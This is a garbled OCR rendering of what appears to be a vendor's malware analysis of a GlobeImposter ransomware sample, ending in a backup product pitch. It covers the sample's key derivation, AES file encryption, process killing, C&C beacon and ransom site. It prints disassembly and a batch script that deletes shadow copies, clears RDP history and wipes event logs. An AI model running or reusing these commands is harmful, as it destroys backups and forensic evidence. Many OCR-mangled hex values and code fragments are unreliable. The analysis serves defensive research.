UBLIC-"'-//W3C//D
TD-HTHL -4 . 81/ /EN
"="http:fSuww w3l
-org/TRAhtmlASStE
rict.dtd">..<{htm
1>..--<head>..
--<meta-charset=
LTL S St R
itle>dftuwd/title
¥o.--<fhead. .
<body>..<{center:
--Xbr>..----<{div
><h2>Your -files
are -Encrypted?<{y
h2><{/div> . . {div>
..<div>For-data
recovery -needs -d

The ransomware loads the hard-coded 256-bit key (HCK265) from itself, which is used to

generate AES key and IV for files encryption:

67 E6 09 6A 85 AE 67 BB 72 F3 6E 3C 3A F5 4F A5

7F 52 OE 51 8C 68 05 9B AB D9 83 1F 19 CD EO 5B
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g84 08890

08488898 loc_488B98:

8840888908 mov
88488893 retn

[eax+68h], ecx

884088893 LoadKey endp
The key file with the session keys is created in %All users%. The name of the file is the

config decryption key.

' Lister - [c:'Documents and SettingssAll Users', AED9C984DFGET46408

File Edit
DDBFC3195516D348D086167D0DBAODCC2IBIF BZERFAABC2IR1902EDF2DA3BEBFS98833A1916D923171
1E498CS73EGEFB3FS148960A4553BOEB3IAGABBCSAE MY IDSBICBAY7FAEFEB3DAASFBDDEABF1ECTEBEY
1CC1DGEDBOFEQUGEBEBIBDBBGFBSSG67D2D165E6D 1434 169A99A24881B4B4B2C997A7 705 02006E BEEG
GE7O719648RA11

GD
61
E9
D6
G
3D
aa
BF
65
ES
B4
aa
CF
38
i
GD

14
DD
94
4C
|
64
A3
Ly
2C
GA
67
D4
a6
61
5B
4a

9c
D2
LY
8C
24
c3
L1 H
iy
E3
A3
57
3IF
a3
3F
AB
27

Cptions

c8
F7
A6
9F
1F
BA
ES
DA
1A
Ae
38
DB
BS
F7
4E
33

Encoding  Help

5B
38
53
82
6B
79
Lo
F7
2B
B4
D7
B3
AR
80
87
;1

8E
B4
A4
AE
DC
o7
8%
AE
93
B6
EE
a3
2B
Ch4
oy
7R

BE
77
6C
F1
39
FE
2¢
68
BS
B9
B6
F9
47
22
3C
8F

EC
oD
[HH
7E
oD
Fa
D1
FE
4a
BB
1D
B2
6D
BC
ap
2E

6F
ap
4
7B
81
EB
8C
DA
[HH
1A
1A
Ch
B2
A@
a4
7E

57
63
9F
44
55
8B
2D
BD
c1
Fa
AC
EE
F2
48
44
3B

25
i2
A8
33
3F
1D
B2
FD
E1
73
G4
FE
9E
a5
52
19

65
1C
1E
46
1D
EF
64
A6
8F
DE
F5
39
01
7B
6F
1F

1
Ag
B4
8C
(1}
14
8%
D3
ER
GE
D3
20
E2
9E
c3
21

DG
L
30
48
M
W7
En
18
CF
33
CD
og
CS
9
68
DS

79
BC
[HH
B
oD
=1H
DF
16
13
1C
CS
ap
Bb
26
95
CA

AB
53
A7
73
42
Fi
1D
BC
D4
BF
7C
e
73
20
FF
68

08488888 LoadKey proc near

804688 BB

A0488BBE arg_ 0= dword ptr 4

AB4B8BBE arg_ 4= dword ptr 8

004 08B BB

A0488B BB mov eax, [esp+arg_HA]

004888 BF mov ecx, [esp+arg_X4]

06488813 and dword ptr [eax], 8

06488816 and dword ptr [eax+4], 8

B84 08B1A test eCcx, BCX

80488B1C jnz short loc_ 48BBSE

Y Y
ol e [-= [l el =
B8488B1E mow dword ptr [eax+8], 084 88B58
88488B25 mov dword ptr [eax+8Ch], OBBG7AESSh|§ 80488B58 loc_L4@3B58:
88488B2C movw dword ptr [eax+18h], 88488B58 mov dword ptr [eax+8], BC1859EDE8h
88488833 mov dword ptr [eax+14h], BAS4FF53Ah|{ A0488B5F mov dword ptr [eax+BCh],
B8488E3A mov dword ptr [eax+1Bh], B84A8E6G mov dword ptr [eax+18h],
A0488B41 mov dword ptr [eax+1Ch], 9BASG6BAChH B84A8E6D mov dword ptr [eax+14h], BF7BE5939h
B0408B48 mov dword ptr [eax+28h], B04A8E74 mov dword ptr [eax+18h], BFFCBBB31h
B04A8B4F mov dword ptr [eax+24h], B84A8E7/B mov dword ptr [eax+1Ch],
BA488B56 jmp short loc_48B8B98 00408EB2 mov dword ptr [eax+28h],
00408EB? mov dword ptr [eax+24h], BBEFAL4FA4h
I
Yy
FIZIE

=10l x|

100 %

The key file contains auxiliary data that can be used to decrypt the user’s files. The values

are encrypted using AES-256-CBC six times with different IVs.
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vy
g84B6AER
O0486AER loc_ 4B6AER:
B04B6AER mov [esp+eax+328h+var_2D8], al
@84A6AEC inc eax
80486AED cmp eax, 28h
884 B&6AFA 1 short loc 4B6AESB
]
I
A8486AF2 push 188h
B0486AFF lea eax, [esp+32Ch+var_2DE]
B0486AFB push eax
B0486AFC lea eax, [95p+33ﬂh+uar_1[95p+323h+uar 2D8]=[Stack
80486B83 push eax ~  db a
A84086B 84 call AESKeyExpansion256 db 1
A84086B A7 xor ebhx, ebx db 2
db 3
L ] db 4
db 5
A84 858 BB :z g
A8486BOE loc_L4BG6BBB: db 8
AB4B6BBB xor eax, eax db 9

0486880 lea edi, [esp+328h+var

B8 81 682 62 B4 A5 86 A7 68 A2 OBA GB BC AD BE OBFf AFC lkay ------
18 11 12 13 14 15 16 17 18 19 14 18 1C 1D 1E 1F AES kEY ......

Bh3+! +DIETH Ima™
F}y+-..sjrsa_encr

File encryption

The Globelmposter ransomware encrypts local, removable, and network drives in parallel by
running multiple threads. Once the key file is created in %All Users%, it starts a new thread
for every available drive type to encrypt files on.
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-rdata:B884899EA push eax
-rdata:fAA4A29E1 lea eax, [esp+274h]
-rdata:AB4A99ER push eax
-Fdata:@eua99EY call FindFirstFilel

rdata:A84899EF mow ebp, eax

-rdata:884899F1 cmp Ebp, BFFFFFFFFh

-Fdata:BBauA99FY jz loc_409B7B eax=Stack[ 800884481 :aC
-rdata:864899FA ac:

-rdata:@864899FA loc 4B9P9FA: unicode 8, {C:hy=>, B
-rdata:f884a899FA push offset a_ —
-rdata:B@4A29FF lea eax, [esp+5Ah]

-rdata: 8848983 push eax
.rdata:88489a84 call esi ; lstrcmpiW
rdata: 8848286 test eax, eax

-rdata:8848?9A088 j=z loc_489B68
-rdata:B8848%ABE push offset a__ g Foa™
-rdata:B88482413 lea eax, [esp+5Eh]

-rdata:f88489A17 push eax
Before encryption, it checks:

« if the last five letters of the current file’s name to ‘..doc
« if the file name is equal to ‘Read__ ME.html’
« if the file name is equal to the key file name

‘AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478EOEFA9129C09ET

o if the file name is equal to the ransomware file name

8B4095EE push esi a
BA4LA9SEF push [esp+18h+arg_A]

BB4B95F3 sub edi, eax
804095F5 call 1strlenn
B84895FB add eax, edi

884895FD push eax
BO4895FE call 1strcmpin
804096084 test eax, eax

8aLA26086 j= short loc_L4B%643
eax=debugda9: a81491FF
db  43h ; C
il e = db 2Eh ; .
: db  %Zh ; B
88409608 d ’
mou edi, [espA db 41h : A
. # db 5hh ;T
Y fh A

To encrypt the user’s files, the ransomware uses an AES-256-CBC algorithm with no
padding.
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v3 = al;
vd = *(_DHORD

v4 += B;

v3s *(_DWORD *)v4
v33 = v6;

w4 e 43

v7 *( _DWORD *)v4q ~
vB = w4 + 4;

v37 = v7;

(i= (*(_DWORD *)v3 »» 1) -

ve = *(_DWORD

V18 « dword_40B570[ (unsigned int)vid »>> 24)

vis *(_DWORD *)v1@ ~ dword_408A978[ (unsigned

vi@ = vB + 4;

vil = v3;

vi2 = *(_DWORD

vie += 4;

Vi3 = vi2;

vi4 = *{_DWORD

V10 += 4;

vi5 = *(_DWORD
BxFF];

V19 += 43

vi6 = *{_DWORD
»» 16) & OuFF];

V10 += 4;

vi2 = vis;

V17 = *(_DWORD
@xFF];

vid += 4;

v33 = viT;

v35 = *(_DWORD

vie += 4;

v5s = v32;

vB = v10 + 4;

V3T = vi9;

=){al + 4);
Vs *(_DWORD *)wé ~ (*(_BYTE *)a2 | ({*(_BYTE *)(a2 + 1)
w3z *(_DWORD *)v4 ~
v6 = *(_DWORD *){v4 + 4) *

*JvB ~ dword_40A970[ (unsigned __int8)vS] ~ dword_40B570[v37 »» 24]

*jvia

"Jvie

*jvie ~

*jvie

*Jvig

*Jvid A

(*(_BYTE *)a2
(*(_BYTE

* (*(_BYTE *)(a2 + 8) | ((*(_BYTE *)(a2 + 9)

(*(_BYTE *)(a2 »

dword_208978[ (unsigned __int8)v33] ~

* gword_80A970[ (unsigned _ int8)v3is] ~

dword_80A970[ (unsigned _ intB)v3T]

dword_80A970[ (unsigned _ intB)vil]

dword_40A978[ (unsigned __int8)wv13]

dword_40A978[ (unsigned __int8)vid]

((*(_BYTE *)(a2 + 2) | (*(_BYTE *)(a2 + 3) << 8)) << 8)) << 8));
((*(_BYTE *)(a2 « 1) | ((*(_BYTE *)(a2 + 2) | (*(_BYTE *)(a2 + 3) << 8)) << 8)) << 8));
*)(a2 + &) | ((*(_BYTE *)(a2 + 5) | ((*(_BYTE *){a2 + 6) | (*(_BYTE *)(a2 + 7) << 8)) << 8)) << 8));

((*(_BYTE *)(a2 + 10) | (*(_BYTE *)(a2 + 11) << 8)) << 8)) << 8));

12) | ((*(_BYTE *)(a2 + 13) | ((*(_BYTE *)(a2 + 14) | (*(_BYTE *)(a2 + 15) << B)) << 8)) <« 8));

1L, i>@; --i)

dword_408570[ (unsigned int)vs »» 24] ~

dword_40B570[v33 »> 24]

~ gword_408570[ (unsigned int)v35 »>> 24]

~ gword 408570[ (unsigned int)vls »>> 24]

& dword_488570[vil > 24]

A~ dword_40B570[vi3 »> 24] 4 dword_40Bi78[(vii »> 18) & oxfF]
* dword_40AD70[ (unsigned _int16)vil >> 8] * dword_4@8170[(vi3 >> 16) & OxFF];

__int8)v15] ~ viB;

dword_40AD78[ (unsigned __int16)v35 »:8]

~ dword_48AD7@[ (unsigned __int16)w32 >:8]

"~ dword_40A070[ (unsigned _ int16)v12 >8]

* dword_40AD70[ (unsigned __intl16)v33 >» B] ~dword_80B170[ ((unsigned int)v35 >» 16) & @xFF];

~ dword_40B170[ (v37 >> 16) & BxFF];

“ dword_4@B170[ ((unsigned int)vs >> 16) & OxFF] “dword_40AD70[(unsigned _ int16)v37 >> 8];

* dword_40B176[ (v33 >> 16) &

*~ dword_408170[ ((unsigned int)vid

* dword_488070[ (unsigned _ int16)vid »>> 8] “dword_4@B178[((unsigned int)vls >> 16) &

“dword_40AD78[ (unsigned __intié)wvi5 »» B];

To encrypt a file, the Globelmposter ransomware calculates 1V (16 bytes) and AES key (32
bytes) based on the hardcoded 32-byte key (HCK256) mentioned above.

Calculating AES 16-byte IV to encrypt a file:

[l e =
B84 BBBCD cmp
084 88BCF jb

esi, ecx
short loc_48BBFF

Esi=ﬂﬂﬂﬂﬂﬂhﬂi

i e =]

lall i 5=

a84888D1
B84 88BDE
08488808
a0488BD9
a0488BDB
984 88BDC
984 88BDD
984 BBBEZ
084 B8BES
004 BBBER
004 BBBEY
084 B8BEA
B84 BBBEF
084 B88BF3
B84 BBBFY
084 B8BF 2
B84 88BFD

mowv
lea
push
add
push
push
call
add
lea
push
push
call
add
sub
®or
mowv

jmp

B0488BFF
BO4ABBFF loc_ 4O88BFF:
B0488BFF mow edi,

edi, [esp+1B8h+arg_4]
eax, [ebx+28h]
ecx

[esp+1Bh+arg 4]

eax, ebp

edi

eax
CopyAndShiftBytes
esp, BCh

eax, [ebz+28h]

eax

ebx

TransformHCKey ; calculate IU
edi, [esp+1B8h+arg 0]
esi, [esp+1Bh+arg 0]
ebp, ebp
[esp+1Bh+arg_8], ebp
short loc_4BBCH3

Yy

de4B8Cca3

08488CH3 loc_4BBCA3:

@0408CH3 cmp esi, 48h
AB4ABCAG jb short loc_4BBC27
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AES 1V for file encryption is the first 16 bytes of the hash calculated using a modified SHA-
256 algorithm from the HCK256.

do
{ .
if { u3 >= Bx18 )
{
vs = *=(&uw3ds + vl);
u? = vw27[v3];
uf = _ ROLY_ (vd, 15);
ug9 = ROLA4_ (=*(&uU3E + v3), 13);
ulB = {ud ¥ 18 T uD T owi;
ul1 = _ ROR4 _ (u7, 7);
uil2 = _ ROLY_ (vZ27[u3], 14);
usB[u3] = *(&U33 + u3) + =(&U26 + U3) + ((U7 3> 3) " vl " U12) + v10;
H
else

{
uhB[w3] = =(_BYTE =){v2 + 1) | ({=(_BYTE =)u2 | ({=(_BYTE =){v2 - 1) | (=(_BYTE =){v2 - 2) <<{ 8)) << B})) << 8);

ui13 = _ ROR4_ {uvh, 11);

vi4 = _ ROLY_ {vh, 7);

v15 = uih " u13;

vi6 = _ RORY_ {vw3d, 13);

u17 = RORM _{uh, 6);

vi8 = v37 + vw4B[u3] + dword HBAC56[v3] + (u36 ~ vl & (V36 ~ w5)) + (ui7 = wi5);
u28 += uig;

u19 = _ ROLY__{u3@, 18);

v2e = w19 ~ yi6;

u21 = _ RORM_ {u30, 2);

v3? = vih;

v22 = (u21 ~ u28) + u18 + (U32 & (u38 | u31) | u3l & v31);
++u3;

v36 = uG;

vz = u2% + §;

v3id = vwi2;

vt = ul;

ul = u2§;

v28 = v32;

The last byte of IV is substituted with the four least significant bits of the size of the file to be
encrypted:

IV[15] = File size & 8000000Fh4

80409259 mousd
@848925A and eax, B080006Fh
86408925F jns short loc_ L4O9266

eax=000000AA
The AES 32-byte key is generated based on hashing HCK256 with two different SHA256-like
functions run in the loop 8192 times:
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08489294 mouy esi, [esp+21E8h+uvar Z1B8]
A8409298 mov edi, 208088h
vy
il i =
A848929D
88409290 loc_4@929D:
A8498929D lea eax, [esp+21EB8h+var_ 21CH]
A840892A01 push eax
A8489202 call LoadHCKey_8
A8489207 push 28h
084892A9 lea eax, [esp+Z21ECh+var_21A8]
884892AD0 push eax
B84892AE lea eax, [esp+21F8h+var_21C8]
884089282 push eax
A84089283 call HashFuncA
884892B8 push esi
A840A02B9 lea eax, [esp+21ECh+var_2160]
804892CA push eax
884892C1 lea eax, [esp+Z21F@h+var_21C8]
884892C5 push eax
A84892C6 call HashFuncA
AB4802CE lea eax, [esp+21E8h+var_ 21A0]
A84892CF push eax
A849892D08 lea eax, [esp+21ECh+var_ 21CH]
A840892DY4 push eax
A840892D5 call HashFunc?2
A84892DA dec edi
804092DB jnz short loc_ 489290
—

v

The cryptolocker reads a block of data from an original file and rewrites its content with the
block of encrypted data in the same file. The block size is 8192 bytes if a file is bigger than

that.

12:22:44 2630763 AM
12:22:44 2633483 &M
12:22:44 2634727 &M
12:22:44 2637347 AM
12:22:44 2638551 A
12:22:44 2641143 &M
12:22:44 2642334 &M
12:22:44 2644921 AM
12:22:44 2646113 AM
12:22:44 2648737 &M

& globe.exe 304 "-_&F!eadFiIe SDeviceWWBaxkiniR drvwboxsrehinboxtestfilesh1.mpd

% globe.exe 304 E\WriteFile \DeviceW'BoxkdiniB diwboxsrshinboxttestfilesh1.mpd
% globe.ere 304 i_:a\F!eadFiIe \DevicetWBoshiniB ditvbossreinboxttestfilesh1.mpd
Z globe.exe 304 B\WriteFile WDeviceWBoxMiniR driwboxersinboxhtestfilest 1. mpd
% globe.exe 304 ’-_:?nF!eadFiIe SDeviceWWBaxkiniR drvwboxsrinboxtestfilesh1.mpd
& globe.exe 304 E\WriteFile \DeviceW'BoxkdiniB diwboxsrshinboxttestfilesh1.mpd
% globe.ere 304 E;HeadFile \DevicetWBoshiniB ditvbossreinboxttestfilesh1.mpd
Z globe.exe 304 5\WriteFile WDeviceWBoxMiniR driwboxsrsinboxhtestfilesh1.mpd
& globe.exe 304 "-_:?\F!eadFiIe SDeviceW'BaxkiniR drvwboxsrehinboxtestfilesh1.mpd
& globe.exe 304 i—_ﬁ}WriteFile \DeviceW'BaxkiniR drwboxsrahinboxttestfilesh1.mpd

The added encryption footer contains:

o 32 bytes - the encrypted AES-256 key
e 16 bytes - IV
e 768 bytes - the encrypted auxiliary data from the key file that can be used to decrypt a

file

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

Offset; 4,882,432, Length: 8,192
Offzet: 4,882,432, Length: 8,192
Offset: 4,893,816, Length: 8.132
Offzet; 4,898,816, Length: 8,192
Offset: 4,915,200, Length: 8,192
Offzet: 4,915,200, Length: 8,192
Offzet: 4,931,584, Length: 8,132
Offzet: 4.931.584, Length: 8,192
Offzet; 4,947 968, Length: 8,192
Offzet: 4,947,968, Length: 8,192
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00000000 [4 1A 38 46 F5 52 8D 49 1F 53 E9 5C 80 EC FO 7D 4-8F8R I S&\€id}
00000010 41 86 7C AT 6C E8 3E 2A 80 64 1F 3B CA EO0 24 4C At|8§lée>*ed ;RasL
00000020 F¥3 27 A7 4A 8C 4A AD A7 OB 42 44 12 B6 8E 59 98 o6'SJEJ-S/BD]IIZY~
00000030 1C 65 8A C4 68 71 46 99 19 ED B1 Al EE A9 B5 03 eSAhgF™}it;iopt
BD AC EF 4B Encrypted data with AES-256-CBC:2 2C 35 84 3¥»-iKad*U7-UTA,5,,
34 A5 45 A3 E7 68 Al 96 73 1E 71 C8 C3 F2 91 C3 4¥Efchj-s gBEAo‘A
€9 91 2A F5 52 3E 30 A7 4D 7C A3 07 96 DF 2B B7 1i‘*3R>0SM|fe—R+ -
11 40 FE 1D FE 35 61 B3 2B 1B AD C2 3¢ 0E FB 16 4@p bbas<<-Aejar
F8_8D A2 05 oa 1F C8 12 78 EC 43 3C 3F 00 7 05 o ¢|3 Bl xid<>.~|
00000090 [52 20 35 92 75 4. 41 9D Al 33 Bef| ' 5’ {@CzazsA 39
O00000A0 BA 4 14 je) Encwpted AES kev 0] 6 [ anT fél—Xé 161 EEAPIO]
000000B0 2 bR#\ -¢%: k" (sén6
36 44 20 31 34 20 39 43 20 43 38 20 35 42 20 30f 6D 14 9C C8 5B 0
45 20 30 45 20 45 43 20 36 46 20 35 37 20 32 350 E OE EC 6F 57 25
20 36 35 20 37 31 20 44 36 20 37 39 20 41 42 oa] 65 71 D6 79 AB
000000F0 |36 31 20 44 44 Encrypted auxiliary data 20 33 30 20 42| 61 DD D3 F7 30 B
00000100 |34 20 37 37 20 39 44 20 30 42 20 36 33 20 37 32Q 4 77 9D 0B 63 72
00000110 J20 31 43 20 41 30 20 34 36 20 42 43 20 35 33 0A] 1C A0 46 BC 53
0120 |45 39 20 39 34 20 34 31 20 41 36 20 35 33 20 41| E9 94 41 A6 53 A
nnnonoT 20 124 20 3 43 20 A3 43 2N 34 44 2N 3G9 AR 2N A7 REAN A A o ATV QF RA

To release the user’s files locked by running processes, the cryptolocker terminates the
following processes with the help of the ‘taskkill command:

¢ outlook
e SSMS
e postgre
e 1c
e SQL
o excel
e word
8840A1F2 push 7
8840A1FY4 push offset off 481630
a846A1F? push eax
86408A1FA call FindProcessAndKill |gff yp1638 dd offset asql ; DATA XREF: sub_LBOF1B+2D210
8848A1FF push offset dword_ 4BCBEG ; “sgl”
0848A204 push dword_46CFEQ dd offset alutlook : "outlook™
8840A20A call Suh_llBQB'?B dd offset aSsns H "ooms'"
B040A20F call sub_4@96CHE dd offset aPostgre ; “postgre”
8040A214 call sub_L48979F dd offset alc : g
8040A219 pop Ed% dd offset aExcel ; "excel"
8040A21A pop esl dd offset aWord ; “word"
ae48A21E pop ebp
if § vs )
1
ul1 = HeapCreate(B8, 48946, 8};
u12 = HeapAlloc{vii, @, 256};
wsprintfaf{vi2, {(const char =*)&dword_ 481658, uvig);
lstrocpyaf&uia, "taskkill fF /T /PID "};
lstrcatA(&uia, vi2);
CreateProcessa(@, &uiGa, 8, B8, 8, Gx800008688, 8, @, &ui5, &uid);

Removing backups

The Globelmposter creates and executes the batch file shown below to:

e remove shadow copies of the files
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» disable remote desktop capability
¢ clean the Windows events log

808409718 push edi

00409711 push LOBABEA6H

00409716 lea eax, [ebp+var_10884]
2848971C push eax

88489710 call CreateFileWl

00489723 mov esi, eax

00409725 cmp esi, OFFFFFFFFh

00409728 jz short loeax=Stack[ 008PBDSC] :aCDocumeifdminiilocals

aChocume1Adminiilocalst:
unicode 8, <C:A\DOCUME™1%ADHINI™1ALOCALS™1\Temp\tmp2.tmp.bat>,8

i 5=
109728 push edi
9728 lea eax, [ebp+var_4]
18972E mov edi, offset aBechoOffUssadm ; "Eecho offyrinussadmin.exe Delete Shadow'. ..

89733 push eax

189734 push edi

9735 call 1strlenA
39738 push eax

18973C push edi

10973D push esi

18973E call WriteFile
189744 push esi

19745 call CloseHandle

@echo off

vssadmin.exe Delete Shadows /All /Quiet

reg delete "HKEY CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va
/f

reg delete "HKEY CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY _CURRENT _USER\Software\Microsoft\Terminal Server Client\Servers"

cd %userprofile%\documents\

attrib Default.rdp -s -h

del Default.rdp

for /F "tokens="" %1 in (‘wevtutil.exe el') DO wevtutil.exe cl "%1"

Ransom note

The Globelmposter creates the ransom note file ‘Read__ ME.html’.
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Your files are Encryvpted!

For data recovery needs decryptor.
If you want to buy a decryptor click "Buy Decryptor”

Buy Decryptor |

Ifnot workung, click agan.

Free decryption as guarantee.
EBefore paying vou can send us 1 file for free decryption.

If you can not contact, follow these two steps:
1. Tnstall the TOP Browser from this link: torproject. org
2. Cpen this hnk in the TOP browser: http:/m2 24 ezvhed s gyamb. ondon/sup.php

Communication with C&C

IPs:

e 137.254.120.31
o 74.220.219.67 (active)
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|3ET s/ count. php?nu=105&Fh=110 HTTR/1.1

I:¥alal=Ta VA

lCcept-Language: en-us

lccept-Encoding: ?zﬁp, deflate

User-Agent: Mozilla 4.0 (compatible; MSIE 6.0; windows WT 5.1; Swl; .MET CLR 2.0.50727)
Host: psoeiras.net

Connection: Keep-Alive

HTTP 1.1 200 OK

server: nginx/1.12.1

Cate: wWed, 03 Jan 2018 15:12:10 GMT
Content-Type: text/html; charset=UTF-8
“ontent-Length: 54

Connection: keep-alive

Vary: Accept-Encoding
Content-Encoding: gzip

M-ACC-Exp: 600

p-Proxy-Cache: HIT psoeiras.net

T —
L3
| 'NORTH
| DAKOTA
|
I} —————————
' SOUTH
.~ DAKOTA
i — ] I
N
. . lowa

NEBRASKA Y

|
I
|
FuARIZﬂFHA |

|

FOUISTAN
Map data ®2018 Google, INEG] Terms of Use

Decryption service

http://n224ezvhg4sgyamb.onion/sup.php
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http://n224ezv...onion/sup.php X

. B @) ® n224ezvhgdsgyamb.onion/sup.php c | ‘ Q Search

SUPPORT
Free decryption as guarantee.
Before paying you can send us 1 file for free decryption.
1. Install the TOR Browser from this link: https://www.torproject.org/projects/torbrowser.html.en
To send a message or file use this link. (IN TOR Browser!!!)

create ticket here: http://n224ezvhgdsgyamb.onion/open.php

http://n224ezvhg4sgyamb.onion/open.php
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.v @) @ nZ224ezvhg4sgyamb.onion/open.php 67% (G HQ Search ‘ a 3
SUPPORT CENTER GuestUser| Sign In

Support Ticket System

. Open a New Ticket

Open a New Ticket

Please fill in the form below to open a new ticket.

Contact Information

Email Address *
|
Full Name *

Phone Mumber
| Bt

Help Topic
| Free Decrypt

Ticket Details
Please Describe Your Issue

Issue Summary *

b s = OE OE = KR O B

Details on the reason(s) for opening the ticket.

Create Ticket || Reset || Cancel |

The available version of the Globelmposter decryptor by Emsisoft cannot decrypt files
encrypted by this version of the Globelmposter ransomware
[https://www.nomoreransom.org/en/decryption-tools.html].

Alarming trend and Acronis protection

With this sample, once again we see that new ransomware actively deletes backup files in
Windows. In addition, there is no working decryptor, which means if your files are encrypted
and no proper backup was made, the data is most likely lost. Again, the good news is that
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https://www.nomoreransom.org/en/decryption-tools.html

Acronis Active Protection successfully blocks the Globelmposter ransomware, recovering
files in a matter of seconds.

So when choosing your backup software, be sure to pick wisely if you want to keep your data
safe.
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http://www.acronis.com/en-us/active-protection/

*1 Acronis Active Protection {0} Settings

"5

Always recover files after blocking a process

globe.exe was blocked
Mext time the process is paused, you will be able to
blacklist it.

After recovery, the affected files will be
moved to a different folder.

View & affected files

Recover files Do not recover

*1 Acronis Active Protection

O
O

(P I I P

Recovery summary

The modified copies were marked with the .ENCRYPTED extension.

ChUsers\Public\Videos\desktop.ini o
ChUsers\Public\Pictures\desktop.ini o
ChUsers\Public\Music\desktop.ini @

ChUsers\Public\Downloads\desktop.ini (]
ChUsers\Public\Documentshdesktop.ini (]

ChUsers\IEUser\Videos\desktop.ini o

Close

1 Acronis Active Protection ioF Settings

o 6 files were recovered
The ransomware was blocked. To be sure your data
is safe, scan your computer with antivirus software,

View summary

Close
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If you're looking for a backup solution that come with the industry’s only built-in active
protection against ransomware, consider Acronis True Image and Acronis Cyber Backup.
Both include technology that will detect the threat, block the attack, and restore the affected

data.
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http://www.acronis.com/en-us/active-protection/
http://www.acronis.com/en-us/personal/computer-backup/
http://www.acronis.com/en-us/business/backup/

